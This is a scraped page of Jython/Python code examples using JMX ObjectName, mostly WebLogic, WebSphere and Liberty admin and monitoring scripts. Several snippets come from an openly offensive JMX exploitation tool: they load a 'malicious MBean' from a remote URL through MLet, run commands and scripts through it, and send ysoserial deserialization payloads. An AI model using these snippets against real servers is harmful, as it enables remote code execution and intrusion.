Ejemplo n.º 1
0
def ejecutaOSB(userAdmin, passAdmin, portAdmin, hostnameAdmin, ambiente):
 now = datetime.datetime.now()
 sessionName = "SesionScriptOSB_"+str(now.day)+"_"+str(now.month)+"_"+str(now.year)+"_"+ambiente
 print "t3", hostnameAdmin, portAdmin, "/jndi/" + DomainRuntimeServiceMBean.MBEANSERVER_JNDI_NAME
 serviceURL = JMXServiceURL("t3", hostnameAdmin, int(portAdmin), "/jndi/" + DomainRuntimeServiceMBean.MBEANSERVER_JNDI_NAME)
 h = Hashtable()
 h.put(Context.SECURITY_PRINCIPAL, userAdmin)
 h.put(Context.SECURITY_CREDENTIALS, passAdmin)
 h.put(JMXConnectorFactory.PROTOCOL_PROVIDER_PACKAGES, "weblogic.management.remote")
 conn = JMXConnectorFactory.connect(serviceURL, h)

 arregloAllProject = []
 arregloAllProxy = []
 arregloAllBS = []
 arregloAllServicesURI = []
 arregloAllDependentS = []
 
 mbconn = conn.getMBeanServerConnection()
 sm = JMX.newMBeanProxy(mbconn, ObjectName.getInstance(SessionManagementMBean.OBJECT_NAME), SessionManagementMBean)
 sm.createSession(sessionName)
 configMBean = JMX.newMBeanProxy(mbconn, ObjectName.getInstance("com.bea:Name=" + ALSBConfigurationMBean.NAME + "." + sessionName + ",Type=" + ALSBConfigurationMBean.TYPE), ALSBConfigurationMBean)
 print "##############################"
 print "###Se genera conexion a OSB###"
 print "##############################"
 arregloAllProject=displayAllProjectsAndServices(ambiente, configMBean)
 arregloAllProxy=getAllProxyServices(ambiente, configMBean)
 arregloAllBS=getAllBusinessServices(ambiente, configMBean)                               
 arregloAllServicesURI=getAllServiceURIs(ambiente, configMBean)
 arregloAllDependentS=getDependentServices(ambiente, configMBean)
 sm.discardSession(sessionName)
 conn.close()
	
 return arregloAllProject, arregloAllProxy, arregloAllBS, arregloAllServicesURI, arregloAllDependentS
Ejemplo n.º 2
0
def _read_config(yaml_path):
    """Read configuration from YAML file.

    YAML should look like:

        metrics:
          - object: domain:pattern    # this is in format accepted by ObjectName
            attributes: .*              # this is regular expression
          - object: domain2:*
            attributes: attr.*

    Parameters
    ----------
    yaml_path : `str`
        Path to configuration file
    """
    with open(yaml_path) as input:
        config = yaml.load(input, Loader=yaml.FullLoader)
    logging.debug("config: %r", config)
    if "metrics" not in config:
        config["metrics"] = [dict(object="*:*", attributes=".*")]
    for cfg in config["metrics"]:
        cfg["object"] = ObjectName(cfg["object"])
        cfg["attributes"] = re.compile(cfg.get("attributes", ".*"))
    return config
Ejemplo n.º 3
0
def installMBeans(args, bean_server, full_mlet_url):
    # Installation, load javax.management.loading.MLet to install additional MBeans
    # If loading fails, the Mlet is already loaded...
    try:
        mlet_bean = bean_server.createMBean("javax.management.loading.MLet", None)
    except:
        # MLet Bean can't be created because it already exists
        mlet_bean = bean_server.getObjectInstance(ObjectName("DefaultDomain:type=MLet"))

    print "[+] Loaded " + str(mlet_bean.getClassName())


    # Install payload Mlet via getMbeansFromURL
    # pass the URL of the web server
    print "[+] Loading malicious MBean from " + full_mlet_url
    print "[+] Invoking: "+ mlet_bean.getClassName() + ".getMBeansFromURL"


    inv_array1 = jarray.zeros(1, Object)
    inv_array1[0] = full_mlet_url

    inv_array2 = jarray.zeros(1, String)
    inv_array2[0] = String.canonicalName

    resource = bean_server.invoke(mlet_bean.getObjectName(), "getMBeansFromURL", inv_array1, inv_array2)

    # Check if the Mlet was loaded successfully
    for res in resource:
        if res.__class__.__name__ == "InstanceAlreadyExistsException":
            print "[+] Object instance already existed, no need to install it a second time"
        elif res.__class__.__name__ == "ObjectInstance":
            print "[+] Successfully loaded " + str(res.getObjectName())
Ejemplo n.º 4
0
def createJMSPersistentStore(jmsServerName, schemaName, migratableTargetName):
    storeName = "JDBCStore_" + jmsServerName

    # create a datasource
    dataSource = createJMSStoreDS(jmsServerName, schemaName)

    # create JDBCStore and link DataSource to it
    cmo = cd("/")
    store = getMBean("/JDBCStores/" + storeName)
    if (store == None):
        LOGGER.info("Creating JDBC Persistent Store" + storeName)
        store = cmo.createJDBCStore(storeName)
    else:
        LOGGER.info("JDBC Persistent Store" + storeName + " already exists")

    store.setDataSource(dataSource)
    store.setPrefixName(jmsServerName)

    # target JDBCStore at migraratable target (of the JMS Server)
    cmo = cd("/JDBCStores/" + storeName)
    set(
        'Targets',
        jarray.array([
            ObjectName('com.bea:Name=' + migratableTargetName +
                       ',Type=MigratableTarget')
        ], ObjectName))
    return store
Ejemplo n.º 5
0
def createODRDynamicCluster():
    clusterName = dcName
    # don't create cluster if it already exists
    exist = doesClusterExist(clusterName)
    if (exist == "true"):
      print "Dynamic cluster '" + clusterName + "' already exists. Skipping its creation..."
      return

    mbean=AdminControl.queryNames("WebSphere:*,process=dmgr,type=DynamicClusterConfigManager")

    attrsProps = Properties()
    attrsProps.put("numVerticalInstances",numVerticalInstance)
    attrsProps.put("operationalMode",defaultMode)
    attrsProps.put("isolationGroup",isolationGroup)
    attrsProps.put("strictIsolationEnabled",strictIsolationEnabled)
    attrsProps.put("maxInstances",str(maxInstances))
    attrsProps.put("minInstances",str(minInstances))
    if (minInstances == 0):
        attrsProps.put("serverInactivityTime", serverInactivityTime)
 
    #memPolicy = "node_nodegroup ="
    #memPolicy = memPolicy +  "\'" + ngName +"\'"
    clusterProperties = Properties()
    clusterProperties.put("templateName","http_sip_odr_server")
    print "Creating ODR dynamic cluster " + clusterName
    localCluster = AdminControl.invoke_jmx(ObjectName(mbean),"createODRDynamicCluster",
                        [ngName,clusterName,attrsProps,clusterProperties],
                        ["java.lang.String","java.lang.String","java.util.Properties","java.util.Properties"])
Ejemplo n.º 6
0
    def queryWAS(self, adminClient, query="WebSphere:*"):
        """Add the given WasObject instance to this container.
           PARAMETERS:
               adminClient - an instance of the pylib.Was.AdminClient class
               query       - something like: WebSphere:*:type=Server,* or *:node=Node1,type=Server,* or *:type=JVM,process=server1,node=Node1,* or *:process=server1,* or *:process=server1,node=Node1,* or any combination of 
                             type    The resource type that the MBean represents
                             name    The name identifier for the individual instance of the MBean
                             cell    The name of the cell in which the MBean is executing
                             node    The name of the node in which the MBean is executing
                             process The name of the process in which the MBean is executing

           RETURN:
               A list of javax.management.ObjectName's.
		"""
        self.objectNames = list()
        try:
            #objName         = ObjectName( "WebSphere:*" )
            objName = ObjectName(query)

            objNameSet = adminClient.connection.queryNames(objName, None)
            #print dir( objNameSet )

            iter = objNameSet.iterator()
            while iter.hasNext():
                myObject = iter.next()
                #self.objectNames.append( ObjectName( myObject.toString() ) )
                #print dir( myObject )
                self.objectNames.append(myObject)
            #Endwhile
            #self.sortData() # Too slow here.  Do it only when asked.
        except Exception, e:
            self.logIt(__name__ + ".queryWAS(): " + str(e) + "\n")
            return list()  # an empty list
Ejemplo n.º 7
0
def executeCommand(password, cmd, bean_server, shell):
    # Payload execution
    # Load the Payload MLet and invoke a method on it
    mlet_bean = bean_server.getObjectInstance(
        ObjectName("MogwaiLabs:name=payload,id=1"))
    print "[+] Loaded " + str(mlet_bean.getClassName())

    print "[+] Executing command: " + cmd
    inv_array1 = jarray.zeros(3, Object)
    inv_array1[0] = password
    inv_array1[1] = cmd
    inv_array1[2] = shell

    inv_array2 = jarray.zeros(3, String)
    inv_array2[0] = String.canonicalName
    inv_array2[1] = String.canonicalName
    inv_array2[2] = String.canonicalName

    resource = bean_server.invoke(mlet_bean.getObjectName(), "runCMD",
                                  inv_array1, inv_array2)

    print resource

    sys.stdout.write("\n")
    sys.stdout.flush()
Ejemplo n.º 8
0
def changePassword(password, newpass, bean_server):
    # Payload execution
    # Load the Payload Met and invoke a method on it
    mlet_bean = bean_server.getObjectInstance(
        ObjectName("Siberas:name=payload,id=1"))
    print "[+] Loaded " + str(mlet_bean.getClassName())

    inv_array1 = jarray.zeros(2, Object)
    inv_array1[0] = password
    inv_array1[1] = newpass

    inv_array2 = jarray.zeros(2, String)
    inv_array2[0] = String.canonicalName
    inv_array2[1] = String.canonicalName

    resource = bean_server.invoke(mlet_bean.getObjectName(), "changePassword",
                                  inv_array1, inv_array2)

    if str(resource) == "True":
        print "[+] Successfully changed password"
    else:
        print "[-] Unable to change password"

    sys.stdout.write("\n")
    sys.stdout.flush()
Ejemplo n.º 9
0
def uninstallMBeans(bean_server):
    try:
        bean_server.unregisterMBean(ObjectName("MogwaiLabs:name=payload,id=1"))
    except:
        print "[-] Error: The MBean is not registered in the target server"
        sys.exit(0)
    print "[+] MBean correctly uninstalled"
Ejemplo n.º 10
0
def _makeNames(conn, config):
    """Generate the names of objects to query and their attibutes.

    Yield
    -----
    objectName : `str`
        Name of the object.
    attributes : `lsit`
        Names of attributes for this object.
    """
    all_metrics = defaultdict(set)

    # get the list of objects and attributes to monitor
    all_names = list(conn.queryNames(ObjectName("*:*"), None))

    for metrics in config["metrics"]:
        objectName = metrics["object"]
        logging.debug("querying object %s", objectName)
        # names = conn.queryNames(objectName, None)
        for oname in all_names:
            if not objectName.apply(oname):
                continue
            info = conn.getMBeanInfo(oname)
            logging.debug("checking %s", oname)

            attributes = set()
            for attr in info.attributes:
                if metrics["attributes"].match(attr.name):
                    attributes.add(attr.name)
                    logging.debug("    %s matches", attr.name)
            if attributes:
                all_metrics[str(oname)] |= attributes

    for oname, attributes in all_metrics.items():
        yield oname, list(attributes)
Ejemplo n.º 11
0
def get_servicebus_mbeans(conn, for_update):
    global domain_service, alsb_core, service_conf_mbean, session_mgmt_mbean
    global service_security_conf_mbean, xacmlauth, default_auth, pipeline_conf_mbean

    domain_service = MBeanServerInvocationHandler.newProxyInstance(
        conn, ObjectName(DomainRuntimeServiceMBean.OBJECT_NAME))
    sec_config = domain_service.getDomainConfiguration(
    ).getSecurityConfiguration()
    default_auth = sec_config.getDefaultRealm().lookupAuthenticationProvider(
        'DefaultAuthenticator')
    session_mgmt_mbean = domain_service.findService(
        SessionManagementMBean.NAME, SessionManagementMBean.TYPE, None)
    if for_update:
        session_id = '.' + session_name
        create_session()
    else:
        session_id = ''
    alsb_core = get_conf_mbean(conn, ALSBConfigurationMBean, session_id)
    service_conf_mbean = get_conf_mbean(conn, ServiceConfigurationMBean,
                                        session_id)
    pipeline_conf_mbean = get_conf_mbean(conn, PipelineConfigurationMBean,
                                         session_id)

    service_security_conf_mbean = get_conf_mbean(
        conn, ServiceSecurityConfigurationMBean, session_id)
    xacmlauth = service_security_conf_mbean.newAuthorizationProviderIdentifier(
        "XACMLAuthorizer")
Ejemplo n.º 12
0
    def do_select(self, object_name):
        "Select an MBean to perform operations on."

        if object_name:
            sanitized_name = object_name.strip().rstrip(',')

            try:
                object_name = ObjectName(sanitized_name)
            except MalformedObjectNameException, e:
                print "Failed to select MBean:", e.getLocalizedMessage()
                return

            if object_name.isPattern() or object_name.isDomainPattern():
                print "Silly goose, you can't select a pattern."
                return

            self.object_name = object_name
Ejemplo n.º 13
0
def get_conf_mbean(conn, mbean_class, sessionId):
    conf_name = ObjectName("com.bea:Name=" + mbean_class.NAME + sessionId +
                           ",Type=" + mbean_class.TYPE)
    mbeans = HashSet()
    mbeans.addAll(conn.queryNames(conf_name, None))
    return MBeanServerInvocationHandler.newProxyInstance(
        conn,
        mbeans.iterator().next(), mbean_class, false)
Ejemplo n.º 14
0
def doWork():
    """Do all the real work for this program."""
    rVal = True
    rc = 0
    printInfo()

    wasAdminClient = AdminClient(hostname="dilabvirt31-v1",
                                 logger=CONFIG['logger'])
    myclient = wasAdminClient.createSOAPDefault()

    configService = ConfigService(adminClient=myclient,
                                  logger=CONFIG['logger'])
    session = Session()

    # query to get dmgr
    dmgr = configService.resolve(session,
                                 "Node=cell101N2:Server=as_cell101a_01")[0]

    # query to get the trace service component in dmgr.
    #pattern			= configService.configServiceHelper.createObjectName( None, "TraceService" )
    pattern = ConfigServiceHelper.createObjectName(None, "TraceService")
    traceService = ObjectName(
        configService.queryConfigObjects(session, dmgr, pattern,
                                         None)[0].toString())

    # get the current dmgr's trace specification.
    trace = configService.getAttribute(session, traceService,
                                       "startupTraceSpecification")
    print "trace is " + str(trace)

    # set the dmgr's trace specification to new value.
    newTrace = String("*=all=enabled")
    #newTrace		= String( "*=info" )
    attrList = AttributeList()
    attrList.add(Attribute("startupTraceSpecification", newTrace))
    configService.setAttributes(session, traceService, attrList)
    newTrace = String(
        configService.getAttribute(session, traceService,
                                   "startupTraceSpecification"))

    print "new trace is " + str(newTrace)

    ## save the chanage.
    configService.save(session, False)

    # set it back.
    #configService.configServiceHelper.setAttributeValue( attrList, "startupTraceSpecification", trace )
    ConfigServiceHelper.setAttributeValue(attrList,
                                          "startupTraceSpecification", trace)
    configService.setAttributes(session, traceService, attrList)
    newTrace = configService.getAttribute(session, traceService,
                                          "startupTraceSpecification")
    print "trace is set back to " + str(newTrace)
    configService.save(session, False)

    configService.discard(session)

    return rc
Ejemplo n.º 15
0
def _run(conn, config, args):
    """Run monitoring loop until killed.

    Parameters
    ----------
    conn :
        server connection instance
    config : `dict`
        Configuration dictionary
    args : `argparse.Namespace`
        Parsed command line arguments
    """
    while not _stop:

        with closing(_makeOutput(args)) as out:
            lastRotateTime = time.time()

            while not _stop:

                nextCycle = int(time.time() / args.period + 1) * args.period
                logging.debug("sleep for %f sec", nextCycle - time.time())
                while time.time() < nextCycle:
                    interval = min(0.1, nextCycle - time.time())
                    if interval > 0:
                        time.sleep(interval)
                    if _stop:
                        break
                if _stop:
                    break

                for oname, attributes in _makeNames(conn, config):
                    now = time.time()
                    oname = ObjectName(oname)
                    try:
                        values = conn.getAttributes(oname, attributes)
                    except Exception as exc:
                        logging.error(
                            "Failed to get attributes oname=%s attributes=%s: %s",
                            oname, attributes, exc)
                        continue
                    except:  # noqa
                        logging.error(
                            "Failed to get attributes oname=%s attributes=%s",
                            oname, attributes)
                        continue
                    line = _attr2influx(oname, values, args.host)
                    if line:
                        ts = int(now * 1e9)
                        print(line, ts, file=out)

                if args.rotate_hours is not None:
                    # re-open output file after rotation period
                    tdiff = time.time() - lastRotateTime
                    if tdiff >= args.rotate_hours * 3600:
                        logging.debug(
                            "%f seconds since last rotation, re-opening output file",
                            tdiff)
                        break
Ejemplo n.º 16
0
def startMemberServer(trustStore, trustStorePassword, mconnection, host, memberUsrDir, serverName) :

    
    print "Starting member: host=" + host + " usrDir=" + memberUsrDir + " serverName=" + serverName 
    objectName = ObjectName(SERVER_COMMANDS_MBEAN_OBJECT_NAME)
    result = mconnection.invoke(objectName, "startServer", 
                       [host, memberUsrDir, serverName, ""],
                       [jstring, jstring, jstring, jstring])
    return result
Ejemplo n.º 17
0
def configureJmsServers():
    # Create persistent stores for JMS servers
    jmsStoreSchemaName = pbb.properties.get("schema.name.JMS")
    cmo = cd("/")
    jmsServers = cmo.getJMSServers()
    mtName = ""
    for svr in jmsServers:
        startOnlineEditSession()

        # Get the JMS Server's name
        sName = svr.getName()
        LOGGER.info('Configuring JMS Server ' + sName)
        # Ensure JMS server targetted at migratable target
        target = svr.getTargets()[0]
        mtName = target.getName()

        # TODO - line below should maybe inspect type, not name.
        if (String(
            (String(mtName)).toLowerCase()).contains('migratable') == 0):
            if (target.getType() != 'MigratableTarget'):
                # Construct migratable target name from current (managed server) target name
                mtName = target.getName() + ' (migratable)'
                LOGGER.info('Setting migratable target for JMSServer ' +
                            sName + ' to ' + mtName)
                cmo = cd('/JMSServers/' + sName)
                set(
                    'Targets',
                    jarray.array([
                        ObjectName('com.bea:Name=' + mtName +
                                   ',Type=MigratableTarget')
                    ], ObjectName))
            cmo = cd('/MigratableTargets/' + mtName)
            if (cmo.getMigrationPolicy() == 'failure-recovery'):
                LOGGER.info('Migration policy for MigratableTarget ' + mtName +
                            " already set to 'failure-recovery'")
            else:
                LOGGER.info('Setting Migration policy for MigratableTarget ' +
                            mtName + " to 'failure-recovery'")
                cmo.setMigrationPolicy('failure-recovery')
        else:
            LOGGER.info('JMS Server ' + sName +
                        ' already has a migratable target ')

        # Create and target JDBC persistent store for server
        store = svr.getPersistentStore()
        if (store == None or store.getType() == 'FileStore'):
            LOGGER.info('Creating persistent store for JMSServer ' + sName)
            store = createJMSPersistentStore(sName, jmsStoreSchemaName, mtName)
            # establish JDBCStore as store for server
            cmo = cd("/JMSServers/" + sName)
            svr.setPersistentStore(store)
        else:
            LOGGER.info('Custom persistent store for JMSServer ' + sName +
                        ' already set ')

        completeOnlineEditSession()
def removeApp(trustStore, trustStorePassword, mconnection, server, host,
              usrdir, remoteAppDir, appFile):

    # Decorate the mbean connection with the routing information for the supplied server.
    jstring = "java.lang.String"
    routingCtxObjectName = ObjectName(ROUTING_CONTEXT_MBEAN_OBJECT_NAME)
    routingCtxObj = mconnection.invoke(routingCtxObjectName,
                                       "assignServerContext",
                                       [server, host, usrdir],
                                       [jstring, jstring, jstring])
    if (routingCtxObj != True):
        raise EnvironmentError(
            "Error creating routing context to target server.  The return value from invoke was: "
            + str(routingCtxObj))

    objectName = ObjectName(FILE_TRANSFER_MBEAN_OBJECT_NAME)

    mconnection.invoke(objectName, "deleteFile",
                       [remoteAppDir + "/" + appFile], ["java.lang.String"])
Ejemplo n.º 19
0
def rePointAppTargets(userName, password, url, properties):
    if connectToAdminServer(userName, password, url):
        try:
            edit()
            startEdit()

            cmo = cd('AppDeployments')
            i = 1
            source = properties.get("migrate.target." + str(i) + ".source")
            while source:
                destination = properties.get("migrate.target." + str(i) +
                                             ".destination")
                destinationType = properties.get("migrate.target." + str(i) +
                                                 ".type")
                deployments = ls(returnMap='true')

                for deployment in deployments:
                    print deployment
                    pushd(deployment + "/Targets")
                    targets = ls(returnMap='true')
                    newTargets = []
                    rePoint = False

                    for target in targets:
                        print("Target='" + target + "'")
                        theTarget = target
                        if target == source:
                            theTarget = destination
                            type = destinationType
                            rePoint = True
                        else:
                            # find the type:
                            pushd(target)
                            type = get("Type")
                        newTargets.append(
                            ObjectName("com.bea:Name=" + theTarget + ",Type=" +
                                       type))

                    print("New Targets: " +
                          str(jarray.array(newTargets, ObjectName)))
                    if rePoint:
                        print("Repointing targets: " +
                              str(jarray.array(newTargets, ObjectName)))
                        set('Targets', jarray.array(newTargets, ObjectName))
                    popd()

                i = i + 1
                source = properties.get("migrate.target." + str(i) + ".source")

            save()
            activate()
        except Exception, e:
            LOGGER.severe("Caught Exception in migration : " + e)
            cancelEdit("y")
            raise e
Ejemplo n.º 20
0
def configureHostAccess(trustStore, trustStorePassword, mconnection, host, hostCredentialMap, newHost) :

    # Decorate the mbean connection with the routing information for the supplied server.
    routingCtxObjectName = ObjectName(ROUTING_CONTEXT_MBEAN_OBJECT_NAME)
    routingCtxObj = mconnection.invoke(routingCtxObjectName,
                                                "assignHostContext",
                                                [host],
                                                [jstring])
    if (routingCtxObj != True):
      raise EnvironmentError("Error creating routing context to target host.  The return value from invoke was: " + str(routingCtxObj))

    objectName = ObjectName(COLLECTIVE_REGISTRATION_MBEAN_OBJECT_NAME)

    methodName = "updateHost"
    if (newHost):
        methodName = "registerHost"

    mconnection.invoke(objectName, methodName, 
                       [host, hostCredentialMap],
                       [jstring, jmap])
Ejemplo n.º 21
0
def joinMemberServer(mconnection, host, memberUsrDir, memberName, wlpDir, trustStorePassword, hostAuthInfo) :
    
    # build credential Map
    certProps = HashMap()
    certProps.put(COLLECTIVE_TRUST_KEYSTORE_PASSWORD, trustStorePassword)

    objectName = ObjectName(COLLECTIVE_REGISTRATION_MBEAN_OBJECT_NAME)

    mconnection.invoke(objectName, "join", 
                    [host, memberUsrDir, memberName, wlpDir, trustStorePassword, certProps, hostAuthInfo],
                    [jstring, jstring, jstring, jstring, jstring, jmap, jmap])
Ejemplo n.º 22
0
 def _parseServer(self, props):
     r'@types: java.util.Properties -> Server'
     objectNameStr = props.get('jmxObjectName')
     from javax.management import ObjectName
     objectName = ObjectName(objectNameStr)
     id_ = props.get('ID') or objectName.getKeyProperty('name')
     # vmParameters = props.get('VmParameters')
     type_ = props.get('Type')
     name = props.get('Name')
     kernelVersion = props.get('KernelVersion')
     javaHome = props.get('java.home')
     javaVersion = props.get('java.vm.version')
     serverTypeToClass = {'dispatcher': sap_jee.DispatcherServer,
                          'server':     sap_jee.JobServer
                          }
     serverClass = serverTypeToClass.get(type_)
     if not serverClass:
         raise ValueError("Unknown server type: %s" % type_)
     # JVM name is not used so can be any value
     jvm = jee.Jvm("java", version=javaVersion)
     jvm.resourcePath = javaHome
     return serverClass(id_, name, version=kernelVersion,
                        objectName=objectNameStr, jvm=jvm)
Ejemplo n.º 23
0
def _dump(conn):
    """Dump full list of metrics,

    Parameters
    ----------
    conn :
        server connection instance
    """
    names = list(conn.queryNames(ObjectName("*:*"), None))
    names.sort(key=str)
    for oname in names:
        info = conn.getMBeanInfo(oname)
        print("{}".format(oname))
        for attr in info.attributes:
            print("    {}: {}".format(attr.name, attr.type))
Ejemplo n.º 24
0
def deserializationMode(args):

    if not os.path.isfile('./jars/ysoserial.jar'):
        print "[-] Error: Did not find ysoserial.jar in jars directory. Please download it from https://github.com/frohoff/ysoserial and move it in the jars directory"
        sys.exit(1)

    sys.path.append("./jars/ysoserial.jar")
    print "[+] Added ysoserial API capacities"

    from ysoserial.payloads.ObjectPayload import Utils

    # Connect to the JMX server
    bean_server = connectToJMX(args)

    # Generate deserialization object with ysoserial.jar
    payload_object = Utils.makePayloadObject(args.gadget, args.cmd)

    # Command execution
    # Load default MLet java.util.logging and invoke method getLoggerLevel on it
    mlet_bean = bean_server.getObjectInstance(
        ObjectName("java.util.logging:type=Logging"))
    print "[+] Loaded " + str(mlet_bean.getClassName())

    print "[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)"
    inv_array1 = jarray.zeros(1, Object)
    inv_array1[0] = payload_object

    inv_array2 = jarray.zeros(1, String)
    inv_array2[0] = String.canonicalName

    try:
        resource = bean_server.invoke(mlet_bean.getObjectName(),
                                      "getLoggerLevel", inv_array1, inv_array2)

    except:
        if "argument type mismatch" in str(sys.exc_info()[1]):
            print "[+] Got an argument type mismatch exception - this is expected"

        elif "Access denied! Invalid access level" in str(sys.exc_info()[1]):
            print "[+] Got an access denied exception - this is expected"
        else:
            print "[-] Got a " + str(
                sys.exc_info()[1]) + "exception, exploitation failed"

    sys.stdout.write("\n")
    sys.stdout.flush()

    print "[+] Done"
Ejemplo n.º 25
0
	def sync(self):
		"""Perform a "multiSync" on all teh nodes in the cell.
        PARMETERS:
        RETURN:
           True if completed or False
        """
		self.debug( __name__ + ".sync(): Called.\n" )
		rc = False
		iter = self.adminClient.connection.queryNames( ObjectName( "WebSphere:*,type=DeploymentManager" ), None ).iterator()
		while iter.hasNext():
			on = iter.next()
			self.logIt( __name__ + ".sync(): " + on.toString() + "\n" )
			self.adminClient.invoke( on, "multiSync", [Boolean( Boolean.TRUE )], ["java.lang.Boolean"] )
			self.logIt( __name__ + ".sync(): Successfully synced all nodes.\n" )
			rc = True
		#Endwhile
		return rc
Ejemplo n.º 26
0
def configureJmsServers():
    # Create persistent stores for JMS servers
    jmsStoreSchemaName = props.get("schema.name.SOAJMS")
    cmo = cd("/")
    jmsServers = cmo.getJMSServers()
    mtName = ""
    for svr in jmsServers:
        # Get the JMS Server's name
        sName = svr.getName()
        LOGGER.info('Configuring JMS Server ' + sName)
        # Ensure JMS server targetted at migratable target
        target = svr.getTargets()[0]
        mtName = target.getName()
        if (target.getType() != 'MigratableTarget'):
            # Construct migratable target name from current (managed server) target name
            mtName = target.getName() + ' (migratable)'
            LOGGER.info('Setting migratable target for JMSServer ' + sName +
                        ' to ' + mtName)
            cmo = cd('/JMSServers/' + sName)
            set(
                'Targets',
                jarray.array([
                    ObjectName('com.bea:Name=' + mtName +
                               ',Type=MigratableTarget')
                ], ObjectName))
        cmo = cd('/MigratableTargets/' + mtName)
        if (cmo.getMigrationPolicy() == 'failure-recovery'):
            LOGGER.info('Migration policy for MigratableTarget ' + mtName +
                        " already set to 'failure-recovery'")
        else:
            LOGGER.info('Setting Migration policy for MigratableTarget ' +
                        mtName + " to 'failure-recovery'")
            cmo.setMigrationPolicy('failure-recovery')
        # Create and target JDBC persistent store for server
        store = svr.getPersistentStore()
        if (store == None or store.getType() == 'FileStore'):
            LOGGER.info('Creating persistent store for JMSServer ' + sName)
            store = createJMSPersistentStore(sName, jmsStoreSchemaName, mtName)
            # establish JDBCStore as store for server
            cmo = cd("/JMSServers/" + sName)
            svr.setPersistentStore(store)
        else:
            LOGGER.info('Custom persistent store for JMSServer ' + sName +
                        ' already set ')
def _create_string_jarray(iterable):
    """
    Create a jarray of java.lang.String suitable for WLST attributes that take list objects.
    This is mostly used for WLST online.
    :param iterable: a List object or other iterable type
    :return: a jarray containing the same contents as the provided iterable
    """
    array_len = len(iterable)
    myarray = jarray.zeros(array_len, String)
    idx = 0
    for element in iterable:
        if isinstance(element, String):
            myarray[idx] = element
        elif isinstance(element, ObjectName):
            myarray[idx] = ObjectName.unquote(element.getKeyProperty('Name'))
        else:
            myarray[idx] = str(element)
        idx += 1
    return myarray
Ejemplo n.º 28
0
def get_bean(bean_server, bean, attribute):
    """Retrieve bean attribute from JMX

    Args:
        bean_server (obj): connection to a bean server
        bean (str): domain and name of the bean. Eg: java.lang:type=Memory
        attribute (str): attribute to retrieve. Eg: HeapMemoryUsage

    Returns:
        obj: attribute of the bean
    """

    tmp = None
    objectName = ObjectName(bean);
    try:
        tmp = bean_server.getAttribute(objectName, attribute)
    except Exception, e:
        logger.warn('Cannot retrieve bean attribute. Bean: ' + bean + ' Attribute: ' + attribute + ' Error: ' + str(e))
        return None
Ejemplo n.º 29
0
def executeJS(js, bean_server):
    # Payload execution
    # Load the Payload Met and invoke a method on it
    mlet_bean = bean_server.getObjectInstance(ObjectName("Siberas:name=payload,id=1"))
    print "[+] Loaded " + str(mlet_bean.getClassName())

    print "[+] Executing script"
    inv_array1 = jarray.zeros(1, Object)
    inv_array1[0] = js

    inv_array2 = jarray.zeros(1, String)
    inv_array2[0] = String.canonicalName

    resource = bean_server.invoke(mlet_bean.getObjectName(), "runJS", inv_array1, inv_array2)

    print resource

    sys.stdout.write("\n")
    sys.stdout.flush()
Ejemplo n.º 30
0
def putNecessaryFilesToMember(mconnection, trustStorePath) :
    
    truststoreFile = File(trustStorePath)
    securityPath = truststoreFile.getParent()
    securityFile = File(securityPath)
    resourcesPath = securityFile.getParent()
    
    objectName = ObjectName(FILE_TRANSFER_MBEAN_OBJECT_NAME)
    mconnection.invoke(objectName, "uploadFile",
                      [trustStorePath, memberUsrDir + os.sep + "servers" + os.sep + member + os.sep + "resources" + os.sep + "security" + os.sep + "trust.jks", False],
                      [jstring, jstring, "boolean"])
           
    mconnection.invoke(objectName, "uploadFile",
                      [resourcesPath + os.sep + "collective" + os.sep + "collectiveTrust.jks", memberUsrDir + os.sep + "servers" + os.sep + member + os.sep + "resources" + os.sep + "collective" + os.sep + "collectiveTrust.jks", False],
                      [jstring, jstring, "boolean"])
                      
    mconnection.invoke(objectName, "uploadFile",
                      [resourcesPath + os.sep + "collective" + os.sep + "serverIdentity.jks", memberUsrDir + os.sep + "servers" + os.sep + member + os.sep + "resources" + os.sep + "collective" + os.sep + "serverIdentity.jks", False],
                      [jstring, jstring, "boolean"])
    def hasServerStarted(self):
        " has server started"
        started = False

        if not self.__jmxConnection:
            self.__createJMXConnection()

        if self.__jmxConnection:
            self.__clusterMBean = ObjectName("Coherence:type=Cluster")
            logger.info("Checking if Coherence cluster node has started:" +
                        ` self.__clusterMBean `)
            running = self.__jmxConnection.getAttribute(
                self.__clusterMBean, "Running")

            logger.info("Coherence cluster node has started:" + ` running `)
            if running:
                logger.info(
                    "Getting LocalMemberId attribute from cluster node:" +
                    ` self.__clusterMBean `)
                self.__nodeId = self.__jmxConnection.getAttribute(
                    self.__clusterMBean, "LocalMemberId")
                logger.info("Oracle Coherence Cluster LocalMemberId:" +
                            ` self.__nodeId `)
                self.__nodeMBean = ObjectName("Coherence:type=Node,nodeId=" +
                                              ` self.__nodeId `)
                self.__attrMBean["MemoryAvailableMB"] = self.__nodeMBean
                self.__attrMBean["SendQueueSize"] = self.__nodeMBean

                self.__serviceMBean = ObjectName(
                    "Coherence:type=Service,name=" + self.__serviceName +
                    ",nodeId=" + ` self.__nodeId `)
                self.__attrMBean[
                    "RequestAverageDuration"] = self.__serviceMBean
                self.__attrMBean["RequestPendingCount"] = self.__serviceMBean
                self.__attrMBean["TaskAverageDuration"] = self.__serviceMBean
                self.__attrMBean["TaskBacklog"] = self.__serviceMBean
                self.__attrMBean[
                    "ThreadAverageActiveCount"] = self.__serviceMBean

                started = True

        return started
Ejemplo n.º 32
0
def stats(server_name):
    typeExp = re.compile(".*(type=\w+).*", re.IGNORECASE)
#    nameExp = re.compile(r'name=\w+(?:-\w+)+', re.IGNORECASE) #".*(name=\w+).*"
    domainList = remote.getDomains()
    for domEle in domainList:
        str = domEle + ":*"
        for ele in remote.queryMBeans(ObjectName(str),None):
            type = None
            name = None
            #print ele
            m = re.match(typeExp, ele.toString())
            if(m):
                type = re.split('=', m.group(1))[1]
            if(re.findall(r'name=[^,]+', ele.toString())):
                name = re.split('=', re.findall(r'name=[^,]+', ele.toString())[0])[1]
                if name[-1] == ']':
                    name = name[:-1]
#            if(type and name):
#                print "type:%s, name:%s" % (type, name)
#            elif(type):
#                print "type:%s" % type
            if(type.lower() == "threadpool"):
                print "type:%s, name:%s" % (type, name)
                objName = ObjectName(ele.getObjectName().getCanonicalName())
                attrList = ['currentThreadCount', 'currentThreadsBusy', 'maxThreads']
                valList = []
                for idx in range(len(attrList)):
                    valList.append(`remote.getAttribute(objName, attrList[idx])`)
                dictionary = dict(zip(attrList, valList))
#                print "Thread Details for %s :" % server_name
                dstFile = server_name + '.Thread.' + name + '.csv'
                printSortedDictValues(dstFile, dictionary)
            elif(type.lower() == "datasource"):
